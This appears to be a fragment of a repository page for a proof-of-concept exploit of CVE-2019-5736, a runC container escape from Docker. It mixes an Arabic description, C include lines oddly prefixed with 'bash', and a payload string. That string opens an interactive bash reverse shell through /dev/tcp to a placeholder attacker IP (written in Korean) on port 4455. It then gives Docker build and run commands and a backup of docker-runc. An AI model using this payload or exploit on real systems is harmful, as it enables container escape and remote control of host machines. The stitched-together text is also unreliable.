h-wookie/cve-2019-5736-pocاستغلال إثبات المفهوم لـ CVE-2019-5736، يوضح الهروب من حاوية Docker عبر ثغرة runC مع حقن حمولة قشرة عكسية.
bash #include <string.h>
bash #include <unistd.h>
bash const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/<공격 PC IP>/4455 0>&1 &\n";
$ docker build -t cve .
$ docker run -t -d --name cvetest cve
$ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak